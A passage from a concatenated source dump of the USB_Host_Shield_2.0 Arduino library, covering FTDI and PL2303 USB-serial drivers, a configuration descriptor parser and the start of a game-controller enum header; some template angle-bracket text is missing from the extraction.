(USB_DEVICE_DESCRIPTOR), buf); // Restore p->epinfo p->epinfo = oldep_ptr; if(rcode) { goto FailGetDevDescr; } if(udd->idVendor != FTDI_VID || udd->idProduct != wIdProduct) { USBTRACE("FTDI Init: Product not supported\r\n"); USBTRACE2("Expected VID:", FTDI_VID); USBTRACE2("Found VID:", udd->idVendor); USBTRACE2("Expected PID:", wIdProduct); USBTRACE2("Found PID:", udd->idProduct); return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; } // Save type of FTDI chip wFTDIType = udd->bcdDevice; // Allocate new address according to device class bAddress = addrPool.AllocAddress(parent, false, port); if(!bAddress) return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL; // Extract Max Packet Size from the device descriptor epInfo[0].maxPktSize = udd->bMaxPacketSize0; // Assign new address to the device rcode = pUsb->setAddr(0, 0, bAddress); if(rcode) { p->lowspeed = false; addrPool.FreeAddress(bAddress); bAddress = 0; USBTRACE2("setAddr:", rcode); return rcode; } USBTRACE2("Addr:", bAddress); p->lowspeed = false; p = addrPool.GetUsbDevicePtr(bAddress); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; p->lowspeed = lowspeed; num_of_conf = udd->bNumConfigurations; // Assign epInfo to epinfo pointer rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo); if(rcode) goto FailSetDevTblEntry; USBTRACE2("NC:", num_of_conf); for(uint8_t i = 0; i < num_of_conf; i++) { ConfigDescParser < 0xFF, 0xFF, 0xFF, CP_MASK_COMPARE_ALL> confDescrParser(this); // This interferes with serial output, and should be opt-in for debugging. //HexDumper HexDump; //rcode = pUsb->getConfDescr(bAddress, 0, i, &HexDump); //if(rcode) // goto FailGetConfDescr; rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser); if(rcode) goto FailGetConfDescr; if(bNumEP > 1) break; } // for if(bNumEP < 2) return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; USBTRACE2("NumEP:", bNumEP); // Assign epInfo to epinfo pointer rcode = pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo); USBTRACE2("Conf:", bConfNum); // Set Configuration Value rcode = pUsb->setConf(bAddress, 0, bConfNum); if(rcode) goto FailSetConfDescr; rcode = pAsync->OnInit(this); if(rcode) goto FailOnInit; USBTRACE("FTDI configured\r\n"); ready = true; return 0; FailGetDevDescr: #ifdef DEBUG_USB_HOST NotifyFailGetDevDescr(); goto Fail; #endif FailSetDevTblEntry: #ifdef DEBUG_USB_HOST NotifyFailSetDevTblEntry(); goto Fail; #endif FailGetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailGetConfDescr(); goto Fail; #endif FailSetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailSetConfDescr(); goto Fail; #endif FailOnInit: #ifdef DEBUG_USB_HOST USBTRACE("OnInit:"); Fail: NotifyFail(rcode); #endif Release(); return rcode; } void FTDI::EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto __attribute__((unused)), const USB_ENDPOINT_DESCRIPTOR *pep) { ErrorMessage (PSTR("Conf.Val"), conf); ErrorMessage (PSTR("Iface Num"), iface); ErrorMessage (PSTR("Alt.Set"), alt); bConfNum = conf; uint8_t index; if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_INTERRUPT && (pep->bEndpointAddress & 0x80) == 0x80) index = epInterruptInIndex; else if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_BULK) index = ((pep->bEndpointAddress & 0x80) == 0x80) ? epDataInIndex : epDataOutIndex; else return; // Fill in the endpoint info structure epInfo[index].epAddr = (pep->bEndpointAddress & 0x0F); epInfo[index].maxPktSize = (uint8_t)pep->wMaxPacketSize; epInfo[index].bmSndToggle = 0; epInfo[index].bmRcvToggle = 0; bNumEP++; PrintEndpointDescriptor(pep); } uint8_t FTDI::Release() { pUsb->GetAddressPool().FreeAddress(bAddress); bAddress = 0; bNumEP = 1; qNextPollTime = 0; bPollEnable = false; ready = false; return pAsync->OnRelease(this); } uint8_t FTDI::Poll() { uint8_t rcode = 0; //if (!bPollEnable) // return 0; //if (qNextPollTime <= (uint32_t)millis()) //{ // USB_HOST_SERIAL.println(bAddress, HEX); // qNextPollTime = (uint32_t)millis() + 100; //} return rcode; } uint8_t FTDI::SetBaudRate(uint32_t baud) { uint16_t baud_value, baud_index = 0; uint32_t divisor3; divisor3 = 48000000 / 2 / baud; // divisor shifted 3 bits to the left if(wFTDIType == FT232AM) { if((divisor3 & 0x7) == 7) divisor3++; // round x.7/8 up to x+1 baud_value = divisor3 >> 3; divisor3 &= 0x7; if(divisor3 == 1) baud_value |= 0xc000; else // 0.125 if(divisor3 >= 4) baud_value |= 0x4000; else // 0.5 if(divisor3 != 0) baud_value |= 0x8000; // 0.25 if(baud_value == 1) baud_value = 0; /* special case for maximum baud rate */ } else { static const uint8_t divfrac [8] = {0, 3, 2, 0, 1, 1, 2, 3}; static const uint8_t divindex[8] = {0, 0, 0, 1, 0, 1, 1, 1}; baud_value = divisor3 >> 3; baud_value |= divfrac [divisor3 & 0x7] << 14; baud_index = divindex[divisor3 & 0x7]; /* Deal with special cases for highest baud rates. */ if(baud_value == 1) baud_value = 0; else // 1.0 if(baud_value == 0x4001) baud_value = 1; // 1.5 } USBTRACE2("baud_value:", baud_value); USBTRACE2("baud_index:", baud_index); uint8_t rv = pUsb->ctrlReq(bAddress, 0, bmREQ_FTDI_OUT, FTDI_SIO_SET_BAUD_RATE, baud_value & 0xff, baud_value >> 8, baud_index, 0, 0, NULL, NULL); if(rv && rv != hrNAK) { Release(); } return rv; } uint8_t FTDI::SetModemControl(uint16_t signal) { uint8_t rv = pUsb->ctrlReq(bAddress, 0, bmREQ_FTDI_OUT, FTDI_SIO_MODEM_CTRL, signal & 0xff, signal >> 8, 0, 0, 0, NULL, NULL); if(rv && rv != hrNAK) { Release(); } return rv; } uint8_t FTDI::SetFlowControl(uint8_t protocol, uint8_t xon, uint8_t xoff) { uint8_t rv = pUsb->ctrlReq(bAddress, 0, bmREQ_FTDI_OUT, FTDI_SIO_SET_FLOW_CTRL, xon, xoff, protocol << 8, 0, 0, NULL, NULL); if(rv && rv != hrNAK) { Release(); } return rv; } uint8_t FTDI::SetData(uint16_t databm) { uint8_t rv = pUsb->ctrlReq(bAddress, 0, bmREQ_FTDI_OUT, FTDI_SIO_SET_DATA, databm & 0xff, databm >> 8, 0, 0, 0, NULL, NULL); if(rv && rv != hrNAK) { Release(); } return rv; } uint8_t FTDI::RcvData(uint16_t *bytes_rcvd, uint8_t *dataptr) { uint8_t rv = pUsb->inTransfer(bAddress, epInfo[epDataInIndex].epAddr, bytes_rcvd, dataptr); if(rv && rv != hrNAK) { Release(); } return rv; } uint8_t FTDI::SndData(uint16_t nbytes, uint8_t *dataptr) { uint8_t rv = pUsb->outTransfer(bAddress, epInfo[epDataOutIndex].epAddr, nbytes, dataptr); if(rv && rv != hrNAK) { Release(); } return rv; } void FTDI::PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr) { Notify(PSTR("Endpoint descriptor:"), 0x80); Notify(PSTR("\r\nLength:\t\t"), 0x80); D_PrintHex (ep_ptr->bLength, 0x80); Notify(PSTR("\r\nType:\t\t"), 0x80); D_PrintHex (ep_ptr->bDescriptorType, 0x80); Notify(PSTR("\r\nAddress:\t"), 0x80); D_PrintHex (ep_ptr->bEndpointAddress, 0x80); Notify(PSTR("\r\nAttributes:\t"), 0x80); D_PrintHex (ep_ptr->bmAttributes, 0x80); Notify(PSTR("\r\nMaxPktSize:\t"), 0x80); D_PrintHex (ep_ptr->wMaxPacketSize, 0x80); Notify(PSTR("\r\nPoll Intrv:\t"), 0x80); D_PrintHex (ep_ptr->bInterval, 0x80); Notify(PSTR("\r\n"), 0x80); } ================================================ FILE: libraries/USB_Host_Shield_2.0/cdcftdi.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(__CDCFTDI_H__) #define __CDCFTDI_H__ #include "Usb.h" #define bmREQ_FTDI_OUT 0x40 #define bmREQ_FTDI_IN 0xc0 //#define bmREQ_FTDI_OUT USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_INTERFACE //#define bmREQ_FTDI_IN USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_INTERFACE #define FTDI_VID 0x0403 // FTDI VID #define FTDI_PID 0x6001 // FTDI PID #define FT232AM 0x0200 #define FT232BM 0x0400 #define FT2232 0x0500 #define FT232R 0x0600 // Commands #define FTDI_SIO_RESET 0 /* Reset the port */ #define FTDI_SIO_MODEM_CTRL 1 /* Set the modem control register */ #define FTDI_SIO_SET_FLOW_CTRL 2 /* Set flow control register */ #define FTDI_SIO_SET_BAUD_RATE 3 /* Set baud rate */ #define FTDI_SIO_SET_DATA 4 /* Set the data characteristics of the port */ #define FTDI_SIO_GET_MODEM_STATUS 5 /* Retrieve current value of modem status register */ #define FTDI_SIO_SET_EVENT_CHAR 6 /* Set the event character */ #define FTDI_SIO_SET_ERROR_CHAR 7 /* Set the error character */ #define FTDI_SIO_RESET_SIO 0 #define FTDI_SIO_RESET_PURGE_RX 1 #define FTDI_SIO_RESET_PURGE_TX 2 #define FTDI_SIO_SET_DATA_PARITY_NONE (0x0 << 8 ) #define FTDI_SIO_SET_DATA_PARITY_ODD (0x1 << 8 ) #define FTDI_SIO_SET_DATA_PARITY_EVEN (0x2 << 8 ) #define FTDI_SIO_SET_DATA_PARITY_MARK (0x3 << 8 ) #define FTDI_SIO_SET_DATA_PARITY_SPACE (0x4 << 8 ) #define FTDI_SIO_SET_DATA_STOP_BITS_1 (0x0 << 11) #define FTDI_SIO_SET_DATA_STOP_BITS_15 (0x1 << 11) #define FTDI_SIO_SET_DATA_STOP_BITS_2 (0x2 << 11) #define FTDI_SIO_SET_BREAK (0x1 << 14) #define FTDI_SIO_SET_DTR_MASK 0x1 #define FTDI_SIO_SET_DTR_HIGH ( 1 | ( FTDI_SIO_SET_DTR_MASK << 8)) #define FTDI_SIO_SET_DTR_LOW ( 0 | ( FTDI_SIO_SET_DTR_MASK << 8)) #define FTDI_SIO_SET_RTS_MASK 0x2 #define FTDI_SIO_SET_RTS_HIGH ( 2 | ( FTDI_SIO_SET_RTS_MASK << 8 )) #define FTDI_SIO_SET_RTS_LOW ( 0 | ( FTDI_SIO_SET_RTS_MASK << 8 )) #define FTDI_SIO_DISABLE_FLOW_CTRL 0x0 #define FTDI_SIO_RTS_CTS_HS (0x1 << 8) #define FTDI_SIO_DTR_DSR_HS (0x2 << 8) #define FTDI_SIO_XON_XOFF_HS (0x4 << 8) #define FTDI_SIO_CTS_MASK 0x10 #define FTDI_SIO_DSR_MASK 0x20 #define FTDI_SIO_RI_MASK 0x40 #define FTDI_SIO_RLSD_MASK 0x80 class FTDI; class FTDIAsyncOper { public: virtual uint8_t OnInit(FTDI *pftdi __attribute__((unused))) { return 0; }; virtual uint8_t OnRelease(FTDI *pftdi __attribute__((unused))) { return 0; }; }; // Only single port chips are currently supported by the library, // so only three endpoints are allocated. #define FTDI_MAX_ENDPOINTS 3 class FTDI : public USBDeviceConfig, public UsbConfigXtracter { static const uint8_t epDataInIndex; // DataIn endpoint index static const uint8_t epDataOutIndex; // DataOUT endpoint index static const uint8_t epInterruptInIndex; // InterruptIN endpoint index FTDIAsyncOper *pAsync; USB *pUsb; uint8_t bAddress; uint8_t bConfNum; // configuration number uint8_t bNumIface; // number of interfaces in the configuration uint8_t bNumEP; // total number of EP in the configuration uint32_t qNextPollTime; // next poll time volatile bool bPollEnable; // poll enable flag volatile bool ready; //device ready indicator uint16_t wFTDIType; // Type of FTDI chip uint16_t wIdProduct; // expected PID EpInfo epInfo[FTDI_MAX_ENDPOINTS]; void PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr); public: FTDI(USB *pusb, FTDIAsyncOper *pasync, uint16_t idProduct = FTDI_PID); uint8_t SetBaudRate(uint32_t baud); uint8_t SetModemControl(uint16_t control); uint8_t SetFlowControl(uint8_t protocol, uint8_t xon = 0x11, uint8_t xoff = 0x13); uint8_t SetData(uint16_t databm); // Methods for recieving and sending data uint8_t RcvData(uint16_t *bytes_rcvd, uint8_t *dataptr); uint8_t SndData(uint16_t nbytes, uint8_t *dataptr); // USBDeviceConfig implementation uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed); uint8_t Release(); uint8_t Poll(); virtual uint8_t GetAddress() { return bAddress; }; // UsbConfigXtracter implementation void EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *ep); virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) { return (vid == FTDI_VID && pid == wIdProduct); } virtual bool isReady() { return ready; }; }; #endif // __CDCFTDI_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/cdcprolific.cpp ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #include "cdcprolific.h" PL2303::PL2303(USB *p, CDCAsyncOper *pasync) : ACM(p, pasync), wPLType(0) { } uint8_t PL2303::Init(uint8_t parent, uint8_t port, bool lowspeed) { const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR); uint8_t buf[constBufSize]; USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast(buf); uint8_t rcode; UsbDevice *p = NULL; EpInfo *oldep_ptr = NULL; uint8_t num_of_conf; // number of configurations #ifdef PL2303_COMPAT enum pl2303_type pltype = unknown; #endif AddressPool &addrPool = pUsb->GetAddressPool(); USBTRACE("PL Init\r\n"); if(bAddress) return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE; // Get pointer to pseudo device with address 0 assigned p = addrPool.GetUsbDevicePtr(0); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; if(!p->epinfo) { USBTRACE("epinfo\r\n"); return USB_ERROR_EPINFO_IS_NULL; } // Save old pointer to EP_RECORD of address 0 oldep_ptr = p->epinfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence p->epinfo = epInfo; p->lowspeed = lowspeed; // Get device descriptor rcode = pUsb->getDevDescr(0, 0, sizeof (USB_DEVICE_DESCRIPTOR), (uint8_t*)buf); // Restore p->epinfo p->epinfo = oldep_ptr; if(rcode) goto FailGetDevDescr; if(udd->idVendor != PL_VID && CHECK_PID(udd->idProduct)) return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; /* determine chip variant */ #ifdef PL2303_COMPAT if(udd->bDeviceClass == 0x02 ) pltype = type_0; else if(udd->bMaxPacketSize0 == 0x40 ) pltype = rev_HX; else if(udd->bDeviceClass == 0x00) pltype = type_1; else if(udd->bDeviceClass == 0xff) pltype = type_1; #endif // Save type of PL chip wPLType = udd->bcdDevice; // Allocate new address according to device class bAddress = addrPool.AllocAddress(parent, false, port); if(!bAddress) return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL; // Extract Max Packet Size from the device descriptor epInfo[0].maxPktSize = udd->bMaxPacketSize0; // Assign new address to the device rcode = pUsb->setAddr(0, 0, bAddress); if(rcode) { p->lowspeed = false; addrPool.FreeAddress(bAddress); bAddress = 0; USBTRACE2("setAddr:", rcode); return rcode; } USBTRACE2("Addr:", bAddress); p->lowspeed = false; p = addrPool.GetUsbDevicePtr(bAddress); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; p->lowspeed = lowspeed; num_of_conf = udd->bNumConfigurations; // Assign epInfo to epinfo pointer rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo); if(rcode) goto FailSetDevTblEntry; USBTRACE2("NC:", num_of_conf); for(uint8_t i = 0; i < num_of_conf; i++) { HexDumper HexDump; ConfigDescParser < 0xFF, 0, 0, CP_MASK_COMPARE_CLASS> confDescrParser(this); rcode = pUsb->getConfDescr(bAddress, 0, i, &HexDump); if(rcode) goto FailGetConfDescr; rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser); if(rcode) goto FailGetConfDescr; if(bNumEP > 1) break; } // for if(bNumEP < 2) return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; // Assign epInfo to epinfo pointer rcode = pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo); USBTRACE2("Conf:", bConfNum); // Set Configuration Value rcode = pUsb->setConf(bAddress, 0, bConfNum); if(rcode) goto FailSetConfDescr; #ifdef PL2303_COMPAT /* Shamanic dance - sending Prolific init data as-is */ vendorRead( 0x84, 0x84, 0, buf ); vendorWrite( 0x04, 0x04, 0 ); vendorRead( 0x84, 0x84, 0, buf ); vendorRead( 0x83, 0x83, 0, buf ); vendorRead( 0x84, 0x84, 0, buf ); vendorWrite( 0x04, 0x04, 1 ); vendorRead( 0x84, 0x84, 0, buf); vendorRead( 0x83, 0x83, 0, buf); vendorWrite( 0, 0, 1 ); vendorWrite( 1, 0, 0 ); if( pltype == rev_HX ) { vendorWrite( 2, 0, 0x44 ); vendorWrite( 0x06, 0x06, 0 ); // From W7 init } else { vendorWrite( 2, 0, 0x24 ); } /* Shamanic dance end */ #endif /* Calling post-init callback */ rcode = pAsync->OnInit(this); if(rcode) goto FailOnInit; USBTRACE("PL configured\r\n"); //bPollEnable = true; ready = true; return 0; FailGetDevDescr: #ifdef DEBUG_USB_HOST NotifyFailGetDevDescr(); goto Fail; #endif FailSetDevTblEntry: #ifdef DEBUG_USB_HOST NotifyFailSetDevTblEntry(); goto Fail; #endif FailGetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailGetConfDescr(); goto Fail; #endif FailSetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailSetConfDescr(); goto Fail; #endif FailOnInit: #ifdef DEBUG_USB_HOST USBTRACE("OnInit:"); #endif #ifdef DEBUG_USB_HOST Fail: NotifyFail(rcode); #endif Release(); return rcode; } //uint8_t PL::Poll() //{ // uint8_t rcode = 0; // // //if (!bPollEnable) // // return 0; // // //if (qNextPollTime <= (uint32_t)millis()) // //{ // // USB_HOST_SERIAL.println(bAddress, HEX); // // // qNextPollTime = (uint32_t)millis() + 100; // //} // return rcode; //} ================================================ FILE: libraries/USB_Host_Shield_2.0/cdcprolific.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(__CDCPROLIFIC_H__) #define __CDCPROLIFIC_H__ #include "cdcacm.h" //#define PL2303_COMPAT // Uncomment it if you have compatibility problems #define PL_VID 0x067B #define CHECK_PID(pid) ( pid != 0x2303 && pid != 0x0609 ) //#define PL_PID 0x0609 #define PROLIFIC_REV_H 0x0202 #define PROLIFIC_REV_X 0x0300 #define PROLIFIC_REV_HX_CHIP_D 0x0400 #define PROLIFIC_REV_1 0x0001 #define kXOnChar '\x11' #define kXOffChar '\x13' #define SPECIAL_SHIFT (5) #define SPECIAL_MASK ((1<ctrlReq(bAddress, 0, VENDOR_READ_REQUEST_TYPE, VENDOR_READ_REQUEST, val_lo, val_hi, index, 1, 1, buf, NULL )); } /* vendor write request */ inline uint8_t PL2303::vendorWrite( uint8_t val_lo, uint8_t val_hi, uint8_t index ) { return( pUsb->ctrlReq(bAddress, 0, VENDOR_WRITE_REQUEST_TYPE, VENDOR_WRITE_REQUEST, val_lo, val_hi, index, 0, 0, NULL, NULL )); } #endif #endif // __CDCPROLIFIC_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/confdescparser.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(_usb_h_) || defined(__CONFDESCPARSER_H__) #error "Never include confdescparser.h directly; include Usb.h instead" #else #define __CONFDESCPARSER_H__ class UsbConfigXtracter { public: //virtual void ConfigXtract(const USB_CONFIGURATION_DESCRIPTOR *conf) = 0; //virtual void InterfaceXtract(uint8_t conf, const USB_INTERFACE_DESCRIPTOR *iface) = 0; virtual void EndpointXtract(uint8_t conf __attribute__((unused)), uint8_t iface __attribute__((unused)), uint8_t alt __attribute__((unused)), uint8_t proto __attribute__((unused)), const USB_ENDPOINT_DESCRIPTOR *ep __attribute__((unused))) { }; }; #define CP_MASK_COMPARE_CLASS 1 #define CP_MASK_COMPARE_SUBCLASS 2 #define CP_MASK_COMPARE_PROTOCOL 4 #define CP_MASK_COMPARE_ALL 7 // Configuration Descriptor Parser Class Template template class ConfigDescParser : public USBReadParser { UsbConfigXtracter *theXtractor; MultiValueBuffer theBuffer; MultiByteValueParser valParser; ByteSkipper theSkipper; uint8_t varBuffer[16 /*sizeof(USB_CONFIGURATION_DESCRIPTOR)*/]; uint8_t stateParseDescr; // ParseDescriptor state uint8_t dscrLen; // Descriptor length uint8_t dscrType; // Descriptor type bool isGoodInterface; // Apropriate interface flag uint8_t confValue; // Configuration value uint8_t protoValue; // Protocol value uint8_t ifaceNumber; // Interface number uint8_t ifaceAltSet; // Interface alternate settings bool UseOr; bool ParseDescriptor(uint8_t **pp, uint16_t *pcntdn); void PrintHidDescriptor(const USB_HID_DESCRIPTOR *pDesc); public: void SetOR(void) { UseOr = true; } ConfigDescParser(UsbConfigXtracter *xtractor); void Parse(const uint16_t len, const uint8_t *pbuf, const uint16_t &offset); }; template ConfigDescParser::ConfigDescParser(UsbConfigXtracter *xtractor) : theXtractor(xtractor), stateParseDescr(0), dscrLen(0), dscrType(0), UseOr(false) { theBuffer.pValue = varBuffer; valParser.Initialize(&theBuffer); theSkipper.Initialize(&theBuffer); }; template void ConfigDescParser::Parse(const uint16_t len, const uint8_t *pbuf, const uint16_t &offset __attribute__((unused))) { uint16_t cntdn = (uint16_t)len; uint8_t *p = (uint8_t*)pbuf; while(cntdn) if(!ParseDescriptor(&p, &cntdn)) return; } /* Parser for the configuration descriptor. Takes values for class, subclass, protocol fields in interface descriptor and compare masks for them. When the match is found, calls EndpointXtract passing buffer containing endpoint descriptor */ template bool ConfigDescParser::ParseDescriptor(uint8_t **pp, uint16_t *pcntdn) { USB_CONFIGURATION_DESCRIPTOR* ucd = reinterpret_cast(varBuffer); USB_INTERFACE_DESCRIPTOR* uid = reinterpret_cast(varBuffer); switch(stateParseDescr) { case 0: theBuffer.valueSize = 2; valParser.Initialize(&theBuffer); stateParseDescr = 1; case 1: if(!valParser.Parse(pp, pcntdn)) return false; dscrLen = *((uint8_t*)theBuffer.pValue); dscrType = *((uint8_t*)theBuffer.pValue + 1); stateParseDescr = 2; case 2: // This is a sort of hack. Assuming that two bytes are all ready in the buffer // the pointer is positioned two bytes ahead in order for the rest of descriptor // to be read right after the size and the type fields. // This should be used carefully. varBuffer should be used directly to handle data // in the buffer. theBuffer.pValue = varBuffer + 2; stateParseDescr = 3; case 3: switch(dscrType) { case USB_DESCRIPTOR_INTERFACE: isGoodInterface = false; break; case USB_DESCRIPTOR_CONFIGURATION: case USB_DESCRIPTOR_ENDPOINT: case HID_DESCRIPTOR_HID: break; } theBuffer.valueSize = dscrLen - 2; valParser.Initialize(&theBuffer); stateParseDescr = 4; case 4: switch(dscrType) { case USB_DESCRIPTOR_CONFIGURATION: if(!valParser.Parse(pp, pcntdn)) return false; confValue = ucd->bConfigurationValue; break; case USB_DESCRIPTOR_INTERFACE: if(!valParser.Parse(pp, pcntdn)) return false; if((MASK & CP_MASK_COMPARE_CLASS) && uid->bInterfaceClass != CLASS_ID) break; if((MASK & CP_MASK_COMPARE_SUBCLASS) && uid->bInterfaceSubClass != SUBCLASS_ID) break; if(UseOr) { if((!((MASK & CP_MASK_COMPARE_PROTOCOL) && uid->bInterfaceProtocol))) break; } else { if((MASK & CP_MASK_COMPARE_PROTOCOL) && uid->bInterfaceProtocol != PROTOCOL_ID) break; } isGoodInterface = true; ifaceNumber = uid->bInterfaceNumber; ifaceAltSet = uid->bAlternateSetting; protoValue = uid->bInterfaceProtocol; break; case USB_DESCRIPTOR_ENDPOINT: if(!valParser.Parse(pp, pcntdn)) return false; if(isGoodInterface) if(theXtractor) theXtractor->EndpointXtract(confValue, ifaceNumber, ifaceAltSet, protoValue, (USB_ENDPOINT_DESCRIPTOR*)varBuffer); break; //case HID_DESCRIPTOR_HID: // if (!valParser.Parse(pp, pcntdn)) // return false; // PrintHidDescriptor((const USB_HID_DESCRIPTOR*)varBuffer); // break; default: if(!theSkipper.Skip(pp, pcntdn, dscrLen - 2)) return false; } theBuffer.pValue = varBuffer; stateParseDescr = 0; } return true; } template void ConfigDescParser::PrintHidDescriptor(const USB_HID_DESCRIPTOR *pDesc) { Notify(PSTR("\r\n\r\nHID Descriptor:\r\n"), 0x80); Notify(PSTR("bDescLength:\t\t"), 0x80); PrintHex (pDesc->bLength, 0x80); Notify(PSTR("\r\nbDescriptorType:\t"), 0x80); PrintHex (pDesc->bDescriptorType, 0x80); Notify(PSTR("\r\nbcdHID:\t\t\t"), 0x80); PrintHex (pDesc->bcdHID, 0x80); Notify(PSTR("\r\nbCountryCode:\t\t"), 0x80); PrintHex (pDesc->bCountryCode, 0x80); Notify(PSTR("\r\nbNumDescriptors:\t"), 0x80); PrintHex (pDesc->bNumDescriptors, 0x80); for(uint8_t i = 0; i < pDesc->bNumDescriptors; i++) { HID_CLASS_DESCRIPTOR_LEN_AND_TYPE *pLT = (HID_CLASS_DESCRIPTOR_LEN_AND_TYPE*)&(pDesc->bDescrType); Notify(PSTR("\r\nbDescrType:\t\t"), 0x80); PrintHex (pLT[i].bDescrType, 0x80); Notify(PSTR("\r\nwDescriptorLength:\t"), 0x80); PrintHex (pLT[i].wDescriptorLength, 0x80); } Notify(PSTR("\r\n"), 0x80); } #endif // __CONFDESCPARSER_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/controllerEnums.h ================================================ /* Copyright (C) 2013 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #ifndef _controllerenums_h #define _controllerenums_h #if defined(ESP32) #undef PS #endif /** * This header file is used to store different enums for the controllers, * This is necessary so all the different libraries can be used at once. */ /** Enum used to turn on the LEDs on the different controllers. */ enum LEDEnum { OFF = 0, #ifndef RBL_NRF51822 LED1 = 1, LED2 = 2, LED3 = 3, LED4 = 4, #endif LED5 = 5, LED6 = 6, LED7 = 7, LED8 = 8, LED9 = 9, LED10 = 10, /** Used to blink all LEDs on the Xbox controller */ ALL = 5, }; /** Used to set the colors of the Move and PS4 controller. */ enum ColorsEnum { /** r = 255, g = 0, b = 0 */ Red = 0xFF0000, /** r = 0, g = 255, b = 0 */ Green = 0xFF00, /** r = 0, g = 0, b = 255 */ Blue = 0xFF, /** r = 255, g = 235, b = 4 */ Yellow = 0xFFEB04, /** r = 0, g = 255, b = 255 */ Lightblue = 0xFFFF, /** r = 255, g = 0, b = 255 */ Purple = 0xFF00FF, Purble = 0xFF00FF, /** r = 255, g = 255, b = 255 */ White = 0xFFFFFF, /** r = 0, g = 0, b = 0 */ Off = 0x00, }; enum RumbleEnum { RumbleHigh = 0x10, RumbleLow = 0x20, }; /** This enum is used to read all the different buttons on the different controllers */ enum ButtonEnum { /**@{*/ /** These buttons are available on all the the controllers */ UP = 0, RIGHT = 1, DOWN = 2, LEFT = 3, /**@}*/ /**@{*/ /** Wii buttons */ PLUS = 5, TWO = 6, ONE = 7, MINUS = 8, HOME = 9, Z = 10, C = 11, B = 12, A = 13, /**@}*/ /**@{*/ /** These are only available on the Wii U Pro Controller */ L = 16, R = 17, ZL = 18, ZR = 19, /**@}*/ /**@{*/ /** PS3 controllers buttons */ SELECT = 4, START = 5, L3 = 6, R3 = 7, L2 = 8, R2 = 9, L1 = 10, R1 = 11, TRIANGLE = 12, CIRCLE = 13, CROSS = 14, SQUARE = 15, PS = 16, MOVE = 17, // Covers 12 bits - we only need to read the top 8 T = 18, // Covers 12 bits - we only need to read the top 8 /**@}*/ /** 